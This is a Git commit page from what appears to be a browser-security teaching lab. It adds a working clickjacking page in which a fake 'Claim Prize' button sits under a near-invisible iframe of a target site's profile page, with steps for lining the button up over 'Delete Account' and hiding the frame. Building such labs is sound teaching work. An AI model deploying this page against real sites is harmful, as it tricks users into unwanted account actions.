mcoder_rezvan2/browser-sec-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add

Browse Source
This commit is contained in:
mcoder 2026-04-14 20:00:42 +03:30
parent 79c715a4d6
commit 2fbbb39987
2 changed files with 83 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

80
resources/views/hacker/clickjacking.blade.php Normal file
View File

@ -0,0 +1,80 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Win a Free iPhone!</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-color: #f8fafc;
text-align: center;
margin-top: 50px;
}
.bait-container {
position: relative;
width: 600px;
height: 400px;
margin: 0 auto;
border: 2px dashed #cbd5e1;
background-color: #ffffff;
overflow: hidden;
}
/* The innocent-looking button the victim wants to click */
.bait-button {
position: absolute;
top: 200px; /* Adjust these values to align with the iframe's target button */
left: 200px; /* Adjust these values to align with the iframe's target button */
width: 200px;
height: 50px;
background-color: #22c55e;
color: white;
font-size: 18px;
font-weight: bold;
border: none;
border-radius: 8px;
cursor: pointer;
z-index: 1; /* Stays BEHIND the iframe */
}
/* The malicious iframe loading the victim site */
.malicious-iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
border: none;
z-index: 2; /* Stays ON TOP of the bait button */
/* IMPORTANT FOR LAB:
Keep opacity at 0.4 while aligning the iframe button over the bait button.
Once aligned perfectly, change opacity to 0.0001 for the real attack. */
opacity: 0.4;
}
</style>
</head>
<body>
<h1>🎉 Congratulations! You are our 1,000,000th visitor! 🎉</h1>
<p>Click the button below to instantly claim your prize.</p>
<div class="bait-container">
<button class="bait-button">Claim Prize Now!</button>
<iframe
class="malicious-iframe"
src="http://webapp.kr-rezvan.ir/profile?allow_framing=true"
scrolling="no"
></iframe>
</div>
<div style="margin-top: 30px; padding: 15px; background: #fee2e2; border: 1px solid #ef4444; display: inline-block; text-align: left;">
<strong>Lab Note (Developer Tools):</strong><br>
1. Open this page as the Hacker.<br>
2. Adjust the CSS <code>top</code> and <code>left</code> of the `.bait-button` so it sits perfectly underneath the "Update Email" or "Delete Account" button inside the iframe.<br>
3. Change <code>opacity: 0.4;</code> to <code>opacity: 0;</code> to finalize the attack.
</div>
</body>
</html>

2
routes/web.php
View File

@ -25,6 +25,8 @@
return view('hacker.csrf-exploit'); return view('hacker.csrf-exploit');
})->name('hacker.csrf.exploit'); })->name('hacker.csrf.exploit');
// New Route: Clickjacking Exploit Page
}); });
/* /*